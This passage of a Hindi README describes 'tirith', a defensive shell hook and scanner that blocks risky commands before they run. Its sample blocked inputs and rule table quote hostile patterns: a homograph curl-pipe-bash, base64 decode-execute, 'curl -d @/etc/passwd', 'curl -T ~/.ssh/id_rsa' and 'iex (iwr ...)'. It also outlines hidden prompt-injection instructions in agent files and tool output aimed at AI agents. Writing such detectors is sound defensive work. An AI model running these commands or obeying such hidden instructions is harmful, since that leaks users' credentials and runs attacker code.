आप नहीं कर सकते। आपका टर्मिनल भी नहीं कर सकता। दोनों `і` अक्षर सिरिलिक (U+0456) हैं, लैटिन `i` नहीं। दूसरा URL हमलावर के सर्वर पर जाता है। स्क्रिप्ट आपके ध्यान में आने से पहले निष्पादित हो जाती है।

ब्राउज़रों ने वर्षों पहले इसे हल कर लिया था। टर्मिनल अभी भी बिना किसी प्रश्न के यूनिकोड, ANSI एस्केप और अदृश्य वर्णों को प्रस्तुत करते हैं। AI एजेंट शेल कमांड चलाते हैं और पैकेज इंस्टॉल करते हैं, बिना यह जाँचे कि अंदर क्या है।

**तिरिथ द्वार पर खड़ा है।** यह कमांड, पेस्ट की गई सामग्री और स्कैन की गई फ़ाइलों को होमोग्राफ URL, अस्पष्ट पेलोड, क्रेडेंशियल एक्सफ़िल्ट्रेशन, दुर्भावनापूर्ण AI कौशल/कॉन्फ़िग, और एक हस्ताक्षरित खतरा खुफिया डेटाबेस से ज्ञात-खराब पैकेज/डोमेन/IP के लिए इंटरसेप्ट करता है, इससे पहले कि वे निष्पादित हों।```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` स्वचालित रूप से आपके वर्तमान शेल का पता लगाता है (यह पैरेंट प्रक्रिया का निरीक्षण करता है और यदि आवश्यक हो तो `$SHELL` पर वापस आता है)। स्पष्ट `--shell` फ़्लैग केवल तब आवश्यक होता है जब आप पता लगाने को ओवरराइड करना चाहते हैं।

बस इतना ही। अब आपके द्वारा चलाया जाने वाला हर कमांड सुरक्षित है। साफ इनपुट पर शून्य घर्षण। सब-मिलीसेकंड ओवरहेड। आप भूल जाते हैं कि यह है, जब तक कि यह आपको बचा न ले।

यह [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), और [more](#install) के माध्यम से भी उपलब्ध है।

---

## इसे काम करते देखें

**होमोग्राफ हमला, निष्पादन से पहले अवरुद्ध:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

चेतावनी stderr पर प्रिंट होती है। कमांड फिर भी चलता है।

**Base64 decode-execute chain, अवरुद्ध:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

सभी curl/wget अपलोड फ़्लैग्स, पर्यावरण चर (`$AWS_SECRET_ACCESS_KEY`), और कमांड सब्स्टिट्यूशन को शामिल करता है।

**दुर्भावनापूर्ण स्किल फ़ाइल, स्कैन पर पकड़ा गया:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

कुछ नहीं। शून्य आउटपुट। आप भूल गए कि tirith चल रहा है।

---

## यह क्या पकड़ता है

**34 श्रेणियों में 221 डिटेक्शन नियम।**

| श्रेणी | यह क्या रोकता है |
|----------|--------------|
| **होमोग्राफ हमले** | होस्टनाम में सिरिलिक/ग्रीक समान दिखने वाले, punycode डोमेन, मिश्रित-लिपि लेबल, समान दिखने वाले TLD, भ्रमित करने वाले डोमेन, टेक्स्ट-स्तरीय भ्रमित करने वाली पहचान (गणित अल्फ़ान्यूमेरिक, एक ही शब्द में मिश्रित लिपि) |
| **टर्मिनल इंजेक्शन** | ANSI एस्केप सीक्वेंस, bidi ओवरराइड, शून्य-चौड़ाई वाले वर्ण, यूनिकोड टैग, अदृश्य गणित ऑपरेटर, वेरिएशन सेलेक्टर, हंगुल फिलर |
| **स्टेग्नोग्राफी बचाव** | अदृश्य व्हाइटस्पेस एन्कोडिंग (यूनिकोड स्पेस के 12 प्रकार), मंगोलियाई स्वर विभाजक, हंगुल फिलर वर्ण, गणित अल्फ़ान्यूमेरिक प्रतिस्थापन, st3gg-शैली टेक्स्ट स्टेग्नोग्राफी के खिलाफ बचाव |
| **पाइप-टू-शेल** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, सभी स्रोत-से-सिंक पैटर्न |
| **Base64 डीकोड-एक्ज़ीक्यूट** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env रैपर के माध्यम से डीकोड चेन |
| **डेटा एक्सफ़िलट्रेशन** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, एनवी वेरिएबल अपलोड (`$AWS_SECRET_ACCESS_KEY`), कमांड प्रतिस्थापन एक्सफ़िल |
| **कोड फ़ाइल स्कैनिंग** | अस्पष्ट पेलोड (`eval(atob(...))`), डायनामिक कोड निष्पादन (`exec(b64decode(...))`), JS/Python फ़ाइलों में `fetch`/`requests.post` के माध्यम से गुप्त एक्सफ़िलट्रेशन |
| **क्रेडेंशियल डिटेक्शन** | AWS कुंजी, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm टोकन, प्राइवेट की ब्लॉक, साथ ही एन्ट्रॉपी-आधारित सामान्य गुप्त पहचान |
| **पोस्ट-कॉम्प्रोमाइज व्यवहार** | प्रोसेस मेमोरी स्क्रैपिंग (`/proc/*/mem`), डॉकर रिमोट विशेषाधिकार वृद्धि, क्रेडेंशियल फ़ाइल स्वीप, TeamPCP और UNC1069 पोस्ट-कॉम्प्रोमाइज टूलिंग के विरुद्ध कैलिब्रेटेड |
| **कमांड सुरक्षा** | डॉटफ़ाइल ओवरराइट, संवेदनशील पथों पर आर्काइव निष्कर्षण, क्लाउड मेटाडेटा एंडपॉइंट तक पहुंच, प्राइवेट नेटवर्क तक पहुंच |
| **असुरक्षित परिवहन** | प्लेन HTTP शेल में पाइप, `curl -k`, अक्षम TLS सत्यापन, गंतव्य छुपाने वाले छोटे URL |
| **पर्यावरण** | प्रॉक्सी हाइजैकिंग, संवेदनशील env निर्यात, env के माध्यम से कोड इंजेक्शन, इंटरप्रेटर हाइजैक, शेल इंजेक्शन env |
| **कॉन्फ़िग फ़ाइल सुरक्षा** | कॉन्फ़िग इंजेक्शन, संदिग्ध संकेतक, कॉन्फ़िग में गैर-ASCII/अदृश्य यूनिकोड, MCP सर्वर सुरक्षा (असुरक्षित/अविश्वसनीय/डुप्लिकेट/अनुमतिपूर्ण) |
| **इकोसिस्टम खतरे** | Git क्लोन टाइपोस्क्वाट, अविश्वसनीय डॉकर रजिस्ट्री, pip/npm URL इंस्टॉल, web3 RPC एंडपॉइंट, vet-not-configured |
| **इंस्टॉल-कमांड सुरक्षा** | पाइप किए गए डाउनलोड से APT रिपॉजिटरी जोड़े गए, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (अक्षम हस्ताक्षर जांच), `kubectl apply -f` कच्चे/छोटे रिमोट मैनिफेस्ट के विरुद्ध, अविश्वसनीय रिपॉजिटरी से Helm चार्ट, अविश्वसनीय रिमोट स्रोतों से Terraform मॉड्यूल, मनमानी URL से `brew install`/`tap` |
| **पथ विश्लेषण** | गैर-ASCII पथ, पथों में होमोग्लिफ़, डबल-एन्कोडिंग |
| **प्रस्तुत सामग्री** | छिपी हुई CSS/रंग सामग्री, छिपे हुए HTML गुण, टिप्पणी सामग्री विश्लेषण (हाई पर प्रॉम्प्ट इंजेक्शन, मीडियम पर विनाशकारी कमांड) |
| **क्लोकिंग डिटेक्शन** | सर्वर-साइड क्लोकिंग (बॉट बनाम ब्राउज़र), क्लिपबोर्ड छिपी हुई सामग्री, PDF छिपा हुआ टेक्स्ट |
| **विंडोज / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, विंडोज डिफ़ेंडर अपवाद (`Add-MpPreference -Exclusion*`), इनलाइन `iex (iwr ...)` डाउनलोड-निष्पादित |
| **टर्मिनल आउटपुट सुरक्षा** | OSC 52 क्लिपबोर्ड लेखन, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक और शीर्षक / स्क्रीन-क्लियर हेरफेर, कमांड या MCP टूल आउटपुट के अंदर प्रॉम्प्ट इंजेक्शन (कच्चे और डीओबफ़स्केटेड दोनों स्कैन किए गए, ताकि अदृश्य-वर्ण, भ्रमित करने वाले, स्पेस-आउट, लीटस्पीक, और छोटे base64 / हेक्स एवेज़न भी पकड़े जाएं), और आउटपुट डेटा एक्सफ़िलट्रेशन (बीकन URL या "एक रहस्य पढ़ें और फिर इसे भेजें" निर्देश) |
| **परिचालन संदर्भ** | लेबल-प्रोड क्लाउड / k8s संदर्भों और SSH होस्टों के विरुद्ध विनाशकारी कमांड, बिना मिलान सहेजे गए प्लान के Terraform / Pulumi / OpenTofu `apply`, जोखिमपूर्ण sudo एस्केलेशन, विशेषाधिकार प्राप्त `docker run` |
| **वर्कस्टेशन और स्थायित्व** | ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलें और सादा पाठ टोकन (`~/.ssh`, `~/.aws`, `.npmrc`), स्थायित्व पकड़ (शेल rc, `authorized_keys`, क्रॉन्टैब, LaunchAgents, git `core.hooksPath`), PATH-हाइजैक ऑर्डरिंग, एक्ज़ीक्यूटेबल प्रोवेनेंस, जोखिमपूर्ण उपनाम, और संवेदनशील env-var जीवनचक्र |
| **विस्फोट त्रिज्या और सहसंबंध** | वे डिलीट जो रिपॉजिटरी से बाहर निकलते हैं, सामूहिक डिलीट, जोखिमपूर्ण स्रोतों से डाउनलोड की गई फ़ाइलों को निष्पादित करना, और सत्र श्रृंखला जैसे गुप्त-लिखें फिर नेटवर्क या डिलीट फिर `git push --force` |
| **विश्वास, प्रमाणन और उद्गम** | हस्ताक्षरित कमांड-कार्ड बेमेल, कैनरी हनीटोकन स्पर्श, पेस्ट स्रोत-होस्ट बेमेल, कॉलर-ऑरिजिन (एजेंट) नीति अस्वीकृति, MCP लॉकफ़ाइल बहाव, और ज्ञात-सुरक्षित स्नैपशॉट के विरुद्ध AI-कॉन्फ़िग बहाव |

---

## tirith किस चीज़ से सुरक्षा नहीं करता

Tirith कमांड, पेस्ट किए गए टेक्स्ट और फ़ाइलों की **संरचना** का उनके निष्पादन से पहले
विश्लेषण करता है। यह एक प्री-एक्ज़ीक्यूशन गेट है, कोई रनटाइम सुरक्षा नहीं, और
निम्नलिखित को कवर नहीं करता:

- **रनटाइम सैंडबॉक्सिंग:** tirith चेतावनी देता है या ब्लॉक करता है; यह किसी कमांड को एक बार चलने के बाद सैंडबॉक्स या अलग नहीं करता।
- **पोस्ट-एक्ज़ीक्यूशन नेटवर्क मॉनिटरिंग:** प्रक्रिया लॉन्च के बाद नेटवर्क पर क्या करती है, यह दायरे से बाहर है।
- **मैलवेयर / पेलोड डिटेक्शन:** tirith संरचना का विश्लेषण करता है, पेलोड व्यवहार का नहीं। यह कोई एंटीवायरस नहीं है और डिटोनेट या सिग्नेचर-मैच नहीं करता।
  (`tirith run` डाउनलोड की गई स्क्रिप्ट की संरचना की जाँच करता है, फिर भी मैलवेयर विश्लेषण नहीं।)
- **एक विशेषाधिकार प्राप्त रूट/एडमिन हमलावर:** जो कोई पहले से रूट या एडमिन है, वह tirith को आसानी से बायपास कर सकता है। यह छल किए गए इनपुट के खिलाफ बचाव करता है, किसी ऐसे हमलावर के खिलाफ नहीं जो पहले से मशीन का मालिक है।
- **एंटी-डीबगिंग / एंटी-टैम्परिंग:** tirith रिवर्स इंजीनियरिंग का विरोध नहीं करता या स्थानीय हमलावर से अपने बाइनरी की रक्षा नहीं करता।

पूर्ण खतरा मॉडल और स्पष्ट गैर-लक्ष्यों के लिए [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) देखें।

---

## ज्ञात सीमाएँ

- **शेल-हुक नाजुकता:** सुरक्षा एक शेल हुक के स्थापित और सक्रिय रहने पर निर्भर करती है। हुक शेल, शेल संस्करणों, प्रॉम्प्ट फ्रेमवर्क और इतिहास उपकरणों में टूट या चुपचाप खराब हो सकते हैं। लाइव स्थिति की जाँच करने और केवल-चेतावनी गिरावट पर नज़र रखने के लिए `tirith doctor` चलाएँ।
- **यूनिक्स-केवल सुविधाएँ:** डेमॉन मोड, `tirith setup`, `tirith run` और `tirith fetch` आज केवल Unix पर उपलब्ध हैं।
- **पैकेज-नाम निष्कर्षण दायरा:** भाषा इकोसिस्टम (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle) को कवर करता है, डिस्ट्रो पैकेज मैनेजर (`apt`, `dnf`, `yum`, `pacman`) को नहीं।
- **AI-एजेंट चेतावनी:** शेल-हुक इंटरसेप्शन केवल उन कमांडों की रक्षा करता है जो एक हुक किए गए इंटरैक्टिव शेल से गुज़रते हैं। एक एजेंट जो एक गैर-इंटरैक्टिव शेल स्पॉन करता है, सीधे `exec` कॉल करता है, या बिना हुक लोड किए चलता है, कवर नहीं होता। MCP सुरक्षा सलाहकार है (एजेंट को tirith MCP टूल्स कॉल करना चाहिए), लागू नहीं है।

---

## खतरा खुफिया जानकारी

Tirith पैकेज, होस्टनाम और IP प्रतिष्ठा के लिए एक हस्ताक्षरित स्थानीय खतरा डेटाबेस भेजता है। जब कोई शेल हुक या `tirith check` किसी पैकेज इंस्टॉल या संदिग्ध बुनियादी ढाँचे के संदर्भ को देखता है, तो वह कमांड निष्पादित होने से पहले उस इनपुट को डेटाबेस से मिलाता है, बजाय केवल स्थिर अनुमानों पर निर्भर रहने के।

**हस्ताक्षरित DB** (CI द्वारा दैनिक निर्मित, डाउनलोड और लोड पर सत्यापित):

- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) और [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset) से ज्ञात दुर्भावनापूर्ण पैकेज
- [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch) से दुर्भावनापूर्ण IP बुनियादी ढाँचा
- [ecosyste.ms](https://ecosyste.ms/) से पुष्टि किए गए टाइपोस्क्वाट और लोकप्रिय-पैकेज आधार रेखाएँ
- रनटाइम सलाहकार सहसंबंध के लिए [CISA ज्ञात शोषित कमजोरियाँ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) सूची

**वैकल्पिक पूरक फ़ीड** (उपयोगकर्ता-स्थानीय ओवरले):

- [URLhaus](https://urlhaus.abuse.ch/) और [ThreatFox](https://threatfox.abuse.ch/) एक abuse.ch प्रमाणीकरण कुंजी के माध्यम से
- [PhishTank](https://phishtank.org/) (Cisco Talos) और [Phishing Army](https://phishing.army/) ब्लॉकलिस्ट
- [Tor Project](https://www.torproject.org/) से Tor एग्ज़िट नोड सूची

**वैकल्पिक लाइव संवर्धन** `tirith check` और डेमॉन मोड के दौरान:

- [OSV.dev](https://osv.dev/) सलाहकार लुकअप (Google OSS)
- [deps.dev](https://deps.dev/) पैकेज स्वास्थ्य संकेत (Google OSS) और [ecosyste.ms](https://ecosyste.ms/) रखरखावकर्ता डेटा
- आपकी अपनी API कुंजी के साथ [Google Safe Browsing](https://safebrowsing.google.com/) URL प्रतिष्ठा```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**डिफ़ॉल्ट रूप से ऑफ़लाइन।** बिना किसी फ़्लैग के, हर सिग्नल स्थानीय होता है, नेटवर्क कॉल के बिना: (1) **नाम बनाम लोकप्रिय पैकेज**: ज्ञात-लोकप्रिय, अज्ञात, या लोकप्रिय नाम का एक-एडिट नियर-मिस (क्लासिक टाइपोस्क्वैट/स्लॉपस्क्वैट आकार), स्थानीय ख़तरा डेटाबेस के `popular` सेट से; (2) **ज्ञात दुर्भावनापूर्ण टाइपोस्क्वैट**: ख़तरा DB के `typosquat` इंडेक्स में एक सटीक मिलान; (3) **इंस्टॉल / लाइफसाइकल स्क्रिप्ट** और (4) **बंडल किए गए बाइनरी ब्लॉब**, जिनका पता केवल तब चलता है जब पैकेज सामग्री स्थानीय रूप से उपलब्ध हो (`node_modules` / `site-packages` के अंतर्गत, या `--path` के माध्यम से)। tirith पैकेज को **कभी डाउनलोड नहीं करता**।

**`--online` रजिस्ट्री प्रोवेनेंस जोड़ता है।** यह उसी *फैक्टर-सम* मॉडल में छह और कारकों के लिए पैकेज की रजिस्ट्री (npm, PyPI, या crates.io) से परामर्श करता है: पैकेज/संस्करण आयु, बिना मालिकों वाला एक स्थापित पैकेज, एक असामान्य संस्करण स्पाइक, बहुत कम डाउनलोड, एक लापता स्रोत रेपो, और yanked/ deprecated स्थिति। यह एकमात्र पथ है जो नेटवर्क को छूता है (कभी `check` हॉट पथ नहीं); `--offline` / `TIRITH_OFFLINE` परवाह किए बिना ऑफ़लाइन बल देते हैं। विफलताएं एक ईमानदार `api signals: unavailable` के साथ ऑफ़लाइन स्कोर पर वापस आ जाती हैं, और प्रतिक्रियाओं को TTL के साथ कैश किया जाता है ताकि बार-बार चलाने से रजिस्ट्रियों पर हथौड़ा न पड़े।

स्कोर सलाहकारी और स्वतंत्र है: `package risk` एक डिटेक्शन नियम नहीं है और कोई फैसला, एग्ज़िट कोड, या ऑडिट लॉग नहीं बदलता है।

### इकोसिस्टम स्कैन, सप्लाई-चेन फायरवॉल

`tirith ecosystem scan [path]` `package risk` का डायरेक्टरी-स्तरीय साथी है। यह एक प्रोजेक्ट को चलता है, हर डिपेंडेंसी मेनिफ़ेस्ट की खोज करता है जिसे यह समझता है: npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), और **हर घोषित डिपेंडेंसी** को उसी निर्धारणात्मक `package_risk` फैक्टर इंजन से स्कोर करता है।```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

### Hidden content detection

HTML, Markdown और PDF में मनुष्यों के लिए अदृश्य लेकिन AI के लिए पठनीय सामग्री का पता लगाता है:

- **CSS छिपाना**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, ऑफ-स्क्रीन पोजिशनिंग
- **रंग छिपाना**: सफेद-पर-सफेद टेक्स्ट, समान अग्रभूमि/पृष्ठभूमि (कंट्रास्ट अनुपात < 1.5:1)
- **HTML/Markdown टिप्पणियाँ**: प्रॉम्प्ट इंजेक्शन वाक्यांश (उच्च), `rm -rf` या `curl|bash` जैसे विनाशकारी कमांड (मध्यम), निर्देश छिपाने वाली लंबी टिप्पणियाँ (निम्न)
- **PDF छिपा टेक्स्ट**: सब-पिक्सेल रेंडर किया गया टेक्स्ट (font-size < 1px) जो पाठकों के लिए अदृश्य है लेकिन LLMs द्वारा पार्स करने योग्य है

### AI-प्रासंगिक फ़ाइल छिपी-सामग्री स्कैनिंग

`tirith scan` उन फ़ाइल प्रकारों का भी निरीक्षण करता है जिन्हें AI कोडिंग एजेंट (या एक रेंडरर) पढ़ता है और उन पर कार्य करता है, ऐसी सामग्री की तलाश करता है जो **किसी मानव समीक्षक के पास से तस्करी कर लाई गई हो**. एक सामान्य नोटबुक, दृश्य निर्देशों वाली एक साधारण `CLAUDE.md` फ़ाइल, और एक सादा SVG छवि साफ़ रहती है; केवल छिपी/तस्करी की गई सामग्री ही फ़्लैग होती है।

- **Jupyter नोटबुक** (`*.ipynb`), सेल स्रोत में अदृश्य / bidi / शून्य-चौड़ाई वाले वर्ण, स्रोत में एम्बेडेड बेस64-एन्कोडेड ब्लॉब, रेंडर किए गए दृश्य से छिपा हुआ सेल (`metadata.jupyter.source_hidden` / `hide_input` टैग), और सेल *आउटपुट* जो अदृश्य वर्ण या सक्रिय/छिपा HTML ले जाते हैं
- **AI एजेंट-निर्देश फ़ाइलें** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`, और इसी तरह की), केवल *छिपे* निर्देश: HTML टिप्पणी के अंदर एक निर्देश (रेंडर किए गए Markdown में अदृश्य) या एक दृष्टिगत रूप से छिपा HTML तत्व। ये फ़ाइलें वैध रूप से दृश्य निर्देश रखती हैं, इसलिए सामान्य दृश्य निर्देश कभी फ़्लैग नहीं होते
- **SVG छवियाँ** (`*.svg`), एक एम्बेडेड `<script>`, एक इनलाइन `on*` इवेंट हैंडलर, एक `javascript:` URI, एक रिमोट `xlink:href` / `href`, या एक XXE बाहरी-एंटिटी घोषणा

### Cloaking का पता लगाना

`tirith fetch` 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) में सर्वर प्रतिक्रियाओं की तुलना करता है ताकि पता लगाया जा सके कि सर्वर AI बॉट्स बनाम ब्राउज़रों को अलग सामग्री परोसते हैं या नहीं।

---

## परिचालन संदर्भ और वर्कस्टेशन गार्ड

एकल कमांड के अलावा, कई कमांड समूह आपके परिचालन संदर्भ और वर्कस्टेशन स्थिति तक गेट का विस्तार करते हैं। जो हॉट पथ को छूते हैं वे ऑप्ट-इन (एक नीति फ़्लैग) हैं; बाकी ऑन डिमांड चलते हैं।

**परिचालन संदर्भ** (`tirith context`, `ssh`, `iac`, `sudo`). अपने प्रोडक्शन क्लाउड / Kubernetes संदर्भों और SSH होस्ट को एक बार लेबल करें, और tirith उन चीज़ों को बढ़ाता है जो मायने रखती हैं: एक लेबल किए गए प्रोडक्शन संदर्भ के विरुद्ध एक विनाशकारी कमांड, एक लेबल किए गए प्रोडक्शन होस्ट के लिए SSH, बिना किसी मेल खाने वाली सहेजी गई योजना के Terraform / Pulumi / OpenTofu `apply`, या बिना तर्कसंगत सत्र विंडो के sudo एस्केलेशन। लेबल `~/.config/tirith/context-labels.yaml` और `ssh-host-labels.yaml` (या `.tirith/` के अंतर्गत रिपो-स्कोप्ड) में रहते हैं।

**वर्कस्टेशन स्वच्छता** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलों और सादे-पाठ टोकन (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`) के लिए स्कैन करें, एक हमलावर द्वारा उपयोग किए जाने वाले स्थायित्व फ़ुटहोल्ड (शेल rc, `authorized_keys`, crontab, LaunchAgents / systemd-user यूनिट्स, git `core.hooksPath`) को डिफ़ करें, उन उपनामों को फ़्लैग करें जो महत्वपूर्ण कमांड को छिपाते हैं या क्रेडेंशियल पढ़ते हैं, हाईजैक ऑर्डरिंग के लिए `$PATH` का ऑडिट करें, और बाइनरी की उत्पत्ति (पैकेज स्वामी, कोड हस्ताक्षर, क्या यह सिस्टम कमांड को छिपाता है) की रिपोर्ट करें।

**ब्लास्ट त्रिज्या और अलगाव** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). किसी विनाशकारी कमांड को चलाने से पहले उसके फ़ाइलसिस्टम प्रभाव का पूर्वावलोकन करें, कमांड ने बाद में वास्तव में क्या बदला, इसका अंतर देखें, एक अविश्वसनीय कमांड को एक डिस्पोजेबल निर्देशिका में चलाएं, और जोखिमपूर्ण स्रोतों से डाउनलोड की गई फ़ाइलों को ट्रैक करें ताकि बाद में उनमें से किसी को निष्पादित करने पर एक निष्कर्ष फ़्लैग हो। `temp-run` केवल कार्यशील निर्देशिका को बदलता है; यह फ़ाइल अलगाव है, सैंडबॉक्स नहीं।

## विश्वास, प्रमाणन और घटना प्रतिक्रिया

- **कमांड प्रमाणन** (`tirith command-card`) एक ज्ञात-अच्छे कमांड को ed25519 कुंजी से हस्ताक्षरित करता है; एक विश्वसनीय कार्ड जो अब कमांड से मेल नहीं खाता, उच्च फ़्लैग करता है।
- **रिपो कमांड मैनिफेस्ट** (`tirith commands`) एक `.tirith/commands.yaml` अनुमति सूची है जो स्वीकृत कमांड के लिए अज्ञात-कमांड नोट को शांत करती है और केवल-एलिवेशन `dangerous[]` सूची जोड़ती है (यह फैसले को कड़ा कर सकता है, कभी कमजोर नहीं करता)।
- **हनीटोकन** (`tirith canary`) स्पष्ट रूप से सिंथेटिक कैनरी टोकन लगाते हैं; किसी भी जांचे गए कमांड, पेस्ट या टूल आउटपुट में स्पर्श उच्च फ़्लैग करता है। पता लगाना एक स्थानीय स्टोर लुकअप है, आकार मिलान नहीं।
- **गुप्त रोटेशन** (`tirith secret`) आपके ऑडिट लॉग से हाल के क्रेडेंशियल निष्कर्ष पढ़ता है और 11 प्रदाताओं के लिए प्रदाता-विशिष्ट रोटेट / रिवोक चरण प्रिंट करता है। यह स्वयं कभी कुछ भी रोटेट नहीं करता है और कोई नेटवर्क कॉल नहीं करता है।
- **घटना मोड** (`tirith incident`) एक "हमले के अंतर्गत" स्थिति घोषित करता है: यह `fail_mode: closed` को बाध्य करता है, `TIRITH=0` बाईपास को अक्षम करता है, और क्रेडेंशियल-स्वीप, डीकोड-एक्ज़ीक्यूट और संदिग्ध-बाइनरी नियमों को तब तक ऊंचा करता है जब तक आप इसे रोक नहीं देते।

## आउटपुट, पेस्ट और साझाकरण सुरक्षा

- **आउटपुट-दिशा रक्षा** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) कमांड और MCP टूल आउटपुट में टर्मिनल-धोखा एस्केप को निष्क्रिय करता है: OSC 52 क्लिपबोर्ड राइट, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक बेमेल, और शीर्षक / स्क्रीन-क्लियर हेरफेर। यह प्रॉम्प्ट इंजेक्शन (कच्चा और डीओबफ़स्केटेड) और डेटा-एक्सफ़िल्ट्रेशन बीकन के लिए भी आउटपुट स्कैन करता है। `injection_seeds_custom` के साथ कस्टम सीड जोड़ें, और `mcp_redact_injection` के साथ केवल-इंजेक्शन MCP ब्लॉक को चेतावनी में रिडैक्ट करने का विकल्प चुनें (पूरे आउटपुट को ब्लॉक करने के बजाय)।
- **दर्शक-जागरूक रिडक्शन** (`tirith share`, `tirith redact`, `tirith logs`) GitHub इश्यू, Slack, LLM या सार्वजनिक पेस्ट में पेस्ट करने से पहले रहस्य और ग्राहक / टेनेंट आईडी हटा देता है।
- **पेस्ट उत्पत्ति** (`tirith paste --with-source`, `tirith browser`). संगत Chrome नेटिव-मैसेजिंग होस्ट स्थापित होने पर, tirith एक पेस्ट किए गए कमांड को उसके स्रोत पृष्ठ से संबद्ध करता है और एक ऐसे पेस्ट को फ़्लैग करता है जिसका स्रोत होस्ट उस स्थान से भिन्न होता है जहाँ कमांड चलता है।

---

## स्थापित करें

### macOS

**Homebrew:**```bash
brew install tirith

**Fedora / RHEL / CentOS 9+ (.rpm):**

से डाउनलोड करें [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), फिर:```bash
sudo dnf install ./tirith-*.rpm

**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

फिर शेल हुक को `~/.bashrc` में सक्रिय करें (Termux का डिफ़ॉल्ट शेल bash है):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

**Chocolatey** (समीक्षा के तहत, अनुमोदन की प्रतीक्षा):```powershell
choco install tirith

**Cargo:**```bash
cargo install tirith

**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

### सक्रिय करें

अपने शेल प्रोफ़ाइल में जोड़ें (`.zshrc`, `.bashrc`, या `config.fish`):```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

### tirith को अद्यतन और सत्यापन करना

tirith अपनी अखंडता का सत्यापन और स्वयं को अद्यतन कर सकता है। दोनों कमांड केवल तब नेटवर्क तक पहुँचते हैं जब आप उन्हें चलाते हैं।```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

### एआई एजेंट एकीकरण

एक-कमांड कॉन्फ़िगरेशन के लिए `tirith setup <tool>` का उपयोग करें:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

एक **pre-commit hook** के रूप में भी उपलब्ध: इस रिपॉजिटरी में `.pre-commit-hooks.yaml` देखें।

Scan `--include`, `--exclude`, `--profile` (नीति से नामित प्रोफाइल लोड करता है), और `--ignore` फ़िल्टर का समर्थन करता है जो लक्षित CI स्कैनिंग के लिए हैं।

### नियम दस्तावेज़ीकरण```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

